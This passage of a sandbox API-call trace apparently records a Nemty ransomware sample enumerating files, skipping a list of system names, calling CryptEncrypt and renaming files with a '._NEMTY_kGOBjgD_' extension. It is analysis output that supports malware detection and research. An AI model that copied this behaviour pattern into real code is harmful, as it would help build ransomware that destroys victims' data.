[0070.465] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.465] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.474] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.474] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.474] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.474] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.483] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.483] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.483] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.483] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.492] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.492] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.492] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.492] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.502] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.502] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.502] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.502] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.511] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.511] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.511] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.511] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.517] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.517] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.517] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.517] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.523] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.523] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.523] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.523] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340100, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0070.523] CloseHandle (hObject=0xffffffff) returned 0 [0070.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0070.523] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0070.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0070.523] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0070.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0070.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0070.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0070.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0070.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0070.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0070.523] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png._nemty_kgobjgd_")) returned 0 [0070.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0070.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0070.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94420 | out: hHeap=0x4f90000) returned 1 [0070.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0070.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0070.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0070.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0070.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0070.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0070.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0070.524] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd340bb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd340bb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d31329f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0070.524] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2=".") returned 1 [0070.524] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="..") returned 1 [0070.524] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="...") returned 1 [0070.524] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="windows") returned -1 [0070.524] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0070.524] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="rsa") returned -1 [0070.524] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="NTDETECT.COM") returned -1 [0070.524] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0070.524] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="MSDOS.SYS") returned 1 [0070.524] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="IO.SYS") returned 1 [0070.524] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0070.524] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0070.524] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0070.524] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0070.524] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0070.524] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="CONFIG.SYS") returned 1 [0070.524] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="RECYCLER") returned -1 [0070.524] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0070.524] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0070.524] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="programdata") returned -1 [0070.524] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="appdata") returned 1 [0070.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0070.524] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0070.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0070.525] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0070.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0070.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340048 [0070.525] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0070.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0070.525] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0070.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0070.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0070.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0070.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0070.525] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0070.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0070.525] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0070.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0070.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0070.525] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0070.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0070.525] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345640, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0070.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0070.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0070.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94368 | out: hHeap=0x4f90000) returned 1 [0070.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94368 [0070.525] Sleep (dwMilliseconds=0x5) [0070.541] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xddb14e70, dwHighDateTime=0x1d561e7)) [0070.541] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xddb14e70, dwHighDateTime=0x1d561e7)) [0070.541] GetLastError () returned 0x5 [0070.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0070.541] GetLastError () returned 0x5 [0070.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0070.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0070.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0070.541] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0070.541] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0070.541] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0070.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340110 [0070.541] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340110, pcchString=0x653e91c | out: pszString="S+7IrjpP5XbPY2wW7gZjfhSXAJXjog53lclvYAJMBWcPYFb+N11m7sKs5neEzJvL\r\ntFoKPp05TVZodLDmmNSfiN+LR2um86PNzbyiXGwW7LMZIlW2D7AsQhrLIdzatYX6\r\nDC6LAl5b+ITbZ1VAFBPTFw5/yqo9BCQCNb28VcYE0IJWjE2ssbBpXaCIHsI07SH7\r\nKfb5R/BcPEbFpzEBLwjw+yHb70MJLUvqtUq6ASDXCGMvzFIPB6Niu+I0SHM4FMY6\r\nxjrsFSGtsbovhB+79hQN71GNiop1K0MZAg4SPras5/ipy5wA3OCQ7xg0O5sd/F3h\r\nnQEOkHmKI6Ll2TsPKXttEg==\r\n", pcchString=0x653e91c) returned 1 [0070.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0070.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0070.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0070.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0070.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340110 [0070.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0070.542] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0070.542] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0070.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0070.542] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.542] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.551] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.551] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.551] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.551] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.560] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.561] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.561] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.561] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.570] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.570] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.570] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.570] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.579] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.579] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.579] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.579] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.588] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.588] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.588] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.588] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.598] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.598] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.598] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.598] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.607] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.607] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.607] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.607] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: 